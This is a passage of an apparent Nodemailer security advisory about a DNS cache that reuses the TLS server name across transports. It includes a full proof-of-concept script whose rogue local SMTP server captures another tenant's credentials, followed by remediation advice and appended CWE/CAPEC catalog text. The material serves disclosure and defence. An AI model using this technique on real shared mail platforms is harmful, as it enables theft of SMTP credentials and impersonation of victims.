`options.servername`:\n\n```ts\nif (!cached.expires || cached.expires \u003e= now) {\n    return callback(\n        null,\n        formatDNSValue(cached.value, {\n            cached: true\n        })\n    );\n}\n```\n\n`formatDNSValue()` copies that stale value into the result:\n\n```ts\nreturn Object.assign(\n    {\n        servername: value.servername,\n        host,\n        _addresses: addresses\n    },\n    extra || {}\n);\n```\n\nFor a direct TLS connection, `SMTPConnection.connect()` initially copies the current transport\u0027s TLS configuration into `opts`. `_resolveAndConnect()` then overwrites every truthy field with the cached resolver result, including `opts.servername`:\n\n```ts\nObject.assign(opts, this.options.tls || {});\n\nif (this.servername \u0026\u0026 !opts.servername) {\n    opts.servername = this.servername;\n}\n\nreturn this._resolveAndConnect(opts, resolved =\u003e {\n    this._connectToHost(opts, this.secureConnection);\n});\n```\n\n```ts\nfor (const key of Object.keys(resolved!)) {\n    if (key.charAt(0) !== \u0027_\u0027 \u0026\u0026 (resolved as { [key: string]: any })[key]) {\n        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];\n    }\n}\n```\n\nThe resulting `opts` object is passed to `tls.connect()`. Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.\n\nThe default DNS cache TTL is five minutes:\n\n```ts\nconst DNS_TTL = 5 * 60 * 1000;\n```\n\n### Code path\n\n```text\nTenant A: createTransport({ host: H, secure: true,\n                            tls: { servername: attackerName } })\n  -\u003e SMTPConnection.connect()\n  -\u003e _resolveAndConnect(opts)\n  -\u003e shared.resolveHostname({ host: H, servername: attackerName })\n  -\u003e dnsCache.set(H, { addresses, servername: attackerName })\n\nVictim: createTransport({ host: H, secure: true,\n                          tls: { servername: victimName } })\n  -\u003e SMTPConnection.connect()\n  -\u003e opts.servername = victimName\n  -\u003e _resolveAndConnect(opts)\n  -\u003e shared.resolveHostname({ host: H, servername: victimName })\n  -\u003e dnsCache.get(H)\n  -\u003e returns cached servername = attackerName\n  -\u003e _resolveAndConnect overwrites opts.servername\n  -\u003e tls.connect({ servername: attackerName })\n  -\u003e attacker SNI virtual host and certificate are selected\n  -\u003e AUTH transmits victim SMTP credentials\n```\n\n### Relevant source locations in the tested revision\n\n- `src/shared/index.ts:184` \u2014 five-minute default cache TTL\n- `src/shared/index.ts:245` \u2014 process-global cache keyed by host\n- `src/shared/index.ts:247-262` \u2014 cached `servername` returned by `formatDNSValue()`\n- `src/shared/index.ts:292-323` \u2014 host-only lookup and cache-hit return\n- `src/shared/index.ts:350-359` \u2014 caller-specific `servername` stored in host-only cache\n- `src/smtp-connection/index.ts:713-729` \u2014 direct TLS options and resolver call\n- `src/smtp-connection/index.ts:741-763` \u2014 cached fields overwrite current connection options\n\n## PoC\n\n### Prerequisites\n\n- Node.js 20 (tested with Node.js `20.20.2`)\n- A checkout/build of Nodemailer `10.0.1`\n- OpenSSL to generate the local test certificate\n\nNo external SMTP server or network access is required.\n\n### 1. Generate a certificate for only `attacker.test`\n\nCreate `openssl.cnf`:\n\n```ini\n[req]\ndistinguished_name = dn\nx509_extensions = ext\nprompt = no\n\n[dn]\nCN = attacker.test\n\n[ext]\nsubjectAltName = DNS:attacker.test\nbasicConstraints = critical,CA:TRUE\nkeyUsage = critical,digitalSignature,keyEncipherment,keyCertSign\nextendedKeyUsage = serverAuth\n```\n\nGenerate the certificate and private key:\n\n```bash\nopenssl req -x509 -newkey rsa:2048 -nodes -days 1 \\\n  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf\n```\n\n### 2. Save the following as `poc-dns-cache-servername-confusion.mjs`\n\nAdjust the two import paths if the PoC is not saved beside the repository checkout.\n\n```js\nimport fs from \u0027node:fs\u0027;\nimport tls from \u0027node:tls\u0027;\nimport nodemailer from \u0027../../nodemailer/dist/esm/nodemailer.js\u0027;\nimport * as shared from \u0027../../nodemailer/dist/esm/shared/index.js\u0027;\n\nconst cert = fs.readFileSync(new URL(\u0027./tls-fixture/attacker-cert.pem\u0027, import.meta.url));\nconst key = fs.readFileSync(new URL(\u0027./tls-fixture/attacker-key.pem\u0027, import.meta.url));\nconst observedSni = [];\nconst observedAuth = [];\n\nconst server = tls.createServer({ key, cert }, socket =\u003e {\n    observedSni.push(socket.servername);\n    socket.write(\u0027220 attacker.test ESMTP\\r\\n\u0027);\n    let input = \u0027\u0027;\n    socket.on(\u0027data\u0027, chunk =\u003e {\n        input += chunk.toString();\n        let end;\n        while ((end = input.indexOf(\u0027\\r\\n\u0027)) \u003e= 0) {\n            const line = input.slice(0, end);\n            input = input.slice(end + 2);\n            if (/^EHLO /i.test(line)) {\n                socket.write(\u0027250-attacker.test\\r\\n250 AUTH PLAIN\\r\\n\u0027);\n            } else if (/^AUTH /i.test(line)) {\n                observedAuth.push(line);\n                socket.write(\u0027235 2.7.0 Authentication successful\\r\\n\u0027);\n            } else if (/^QUIT/i.test(line)) {\n                socket.end(\u0027221 Bye\\r\\n\u0027);\n            } else {\n                socket.write(\u0027250 OK\\r\\n\u0027);\n            }\n        }\n    });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\ntry {\n    shared.dnsCache.clear();\n\n    // Tenant A seeds the process-global cache for the shared DNS host.\n    const attackerTransport = nodemailer.createTransport({\n        host: \u0027localhost\u0027,\n        port: server.address().port,\n        secure: true,\n        auth: { user: \u0027attacker@example.test\u0027, pass: \u0027attacker-secret\u0027 },\n        tls: {\n            ca: cert,\n            servername: \u0027attacker.test\u0027,\n            rejectUnauthorized: true\n        }\n    });\n    await attackerTransport.verify();\n    attackerTransport.close();\n\n    // The victim explicitly configures a different TLS identity.\n    const victimTransport = nodemailer.createTransport({\n        host: \u0027localhost\u0027,\n        port: server.address().port,\n        secure: true,\n        auth: { user: \u0027victim@example.test\u0027, pass: \u0027victim-secret\u0027 },\n        tls: {\n            ca: cert,\n            servername: \u0027victim.test\u0027,\n            rejectUnauthorized: true\n        }\n    });\n    await victimTransport.verify();\n    victimTransport.close();\n\n    const decoded = observedAuth.map(line =\u003e\n        line.startsWith(\u0027AUTH PLAIN \u0027)\n            ? Buffer.from(line.slice(\u0027AUTH PLAIN \u0027.length), \u0027base64\u0027).toString()\n            : null\n    );\n\n    console.log(JSON.stringify({\n        attackerConfiguredServername: \u0027attacker.test\u0027,\n        victimConfiguredServername: \u0027victim.test\u0027,\n        serverObservedSniForBothConnections: observedSni,\n        serverReceivedCredentials: decoded\n    }, null, 2));\n} finally {\n    shared.dnsCache.clear();\n    await new Promise(resolve =\u003e server.close(resolve));\n}\n```\n\n### 3. Build and run\n\nFrom the Nodemailer checkout:\n\n```bash\nnpm install\nnpm run build\nnode ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs\n```\n\n### Observed result\n\n```json\n{\n  \"attackerConfiguredServername\": \"attacker.test\",\n  \"victimConfiguredServername\": \"victim.test\",\n  \"serverObservedSniForBothConnections\": [\n    \"attacker.test\",\n    \"attacker.test\"\n  ],\n  \"serverReceivedCredentials\": [\n    \"\\\\u0000attacker@example.test\\\\u0000attacker-secret\",\n    \"\\\\u0000victim@example.test\\\\u0000victim-secret\"\n  ]\n}\n```\n\nThe victim configured `victim.test`, but the server observes `attacker.test` for both handshakes. The local certificate contains only `attacker.test`, yet the victim connection succeeds with `rejectUnauthorized: true` and then sends the victim\u0027s username and password.\n\n### Expected result\n\nThe second connection must use `victim.test` for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as `attacker.test`.\n\n## Impact\n\nThe vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS `host`. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname.\n\nAn attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker\u0027s `tls.servername`. During the cache lifetime, a victim\u0027s direct SMTPS connection to that host can:\n\n1. send the attacker\u0027s server name as SNI;\n2. be routed to the attacker\u0027s TLS virtual host;\n3. validate the attacker\u0027s certificate against the stale name, even though strict certificate validation is enabled; and\n4. transmit the victim\u0027s SMTP username and password to that endpoint.\n\nPossession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider.\n\nWhere the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact.\n\n### Preconditions and limitations\n\n- Two transports must execute in the same Node.js process within the cache lifetime.\n- They must use the same non-IP `host` cache key and different `tls.servername` values.\n- Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name.\n- The demonstrated path uses direct SMTPS (`secure: true`). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report.\n\n## Suggested remediation\n\nThe DNS cache should store DNS data only. `servername` is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname.\n\nOne approach is to remove `servername` from `DnsCacheValue` and derive the returned value from the current request on every path:\n\n```ts\nreturn {\n    host: selectedAddress,\n    servername: options.servername || options.host || false,\n    _addresses: addresses,\n    cached: true\n};\n```\n\nAs defense in depth, `_resolveAndConnect()` should not overwrite an explicitly configured `opts.servername` with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation.\n\nA regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.",
  "id": "GHSA-6vj9-mwq6-2f5v",
  "modified": "2026-09-28T21:56:06Z",
  "published": "2026-09-28T21:56:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-6vj9-mwq6-2f5v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer: Process-global DNS cache reuses TLS `servername` across transports, enabling cross-tenant SMTP credential disclosure"
}
Mitigation
Architecture and Design Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Mitigation
Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

← Back to the CWE list